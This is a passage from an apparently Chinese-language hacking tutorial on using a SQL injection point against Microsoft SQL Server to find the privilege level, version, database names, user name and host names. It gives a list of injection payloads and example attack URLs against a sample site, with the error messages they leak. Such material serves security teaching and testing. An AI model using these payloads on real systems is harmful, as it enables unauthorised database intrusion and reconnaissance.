通过注入点获取数据库信息
下面,将通过注入点进一步探测当前数据库的基本信息,并为后面根据不同数据库管理权限和数据库版本实施针对性的注入攻击。收集数据库基本信息常用的 SQL 注入语句:
and 1=(select IS_SRVROLEMEMBER('sysadmin')) // 网页返回正常,说明数据库管理权限为 sa
and 1=(select IS_SRVROLEMEMBER('db_owner')) // 网页返回正常,说明数据库管理权限为 db_owner
and 1=(select IS_SRVROLEMEMBER('public')) // 网页返回正常,说明数据库管理权限 public
and 1=(select is_member('dbo')) // 网页返回正常,说明数据库管理权限为 sa
and 1=(select is_member('db_owner')) // 网页返回正常,说明数据库管理权限为 db_owner
and 1=(select is_member('public')) // 网页返回正常,说明数据库管理权限为 public
and 1=convert(int,@@version) // 网页显示数据库版本
and 1=convert(int,db_name()) // 网页显示当前正在使用的数据库名
and (select db_name())>0 // 网页显示当前正在使用的数据库名
and 1=convert(int,user_name()) // 网页显示当前用户名
and 0<>(select user_name()) // 网页显示当前用户名
and 0<>db_name(n) // 将 n 改成 0,1,2,3 ……可以实现跨库查询
and 0=db_name(1)
and user_name()='dbo' // 网页返回正常,说明数据库管理权限为 sa
;declare @d int;-- // 网页返回正常,说明数据库支持多语名查询
判断站、库是否分离:
and (select host_name())>0 // 网页显示数据库客户端主机名
and (select @@servername)>0 // 网页显示数据库服务端主机名
以前面介绍的存在注入漏洞的网页为例,提交 URL 为“ http://www.nohacker.com/ProCon.aspx?id=100 and 1=convert(int,@@version) ”,显示错误信息如下:
在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
' 转换成数据类型 int 时失败。
显示当前网站数据库版本为“ Microsoft SQL Server 2005 ”,如图 20 所示。
图 20
提交 URL 为“ http://www.nohacker.com/ProCon.aspx?id=100 and 1=convert(int,db_name()) ”,网页显示错误信息如下:
在将 nvarchar 值 'flower' 转换成数据类型 int 时失败。
显示网站当前数据库名为“ flower ”,如图 21 所示。
图 21
提交 URL 为“ http://www.nohacker.com/ProCon.aspx?id=100 and 1=(select IS_SRVROLEMEMBER('public')) ”,网页显示正常,则说明当前数据库权限为“ public ”,如果显示错误,则说明是其它权限,需要将“ and 1=(select IS_SRVROLEMEMBER('public')) ”中的“ public ”换成“ db_owner ”或“ sysadmin ”进行测试。如图 22 所示。
图 22
同理,还可使用其它的 SQL 注入语句暴出数据库的相关信息。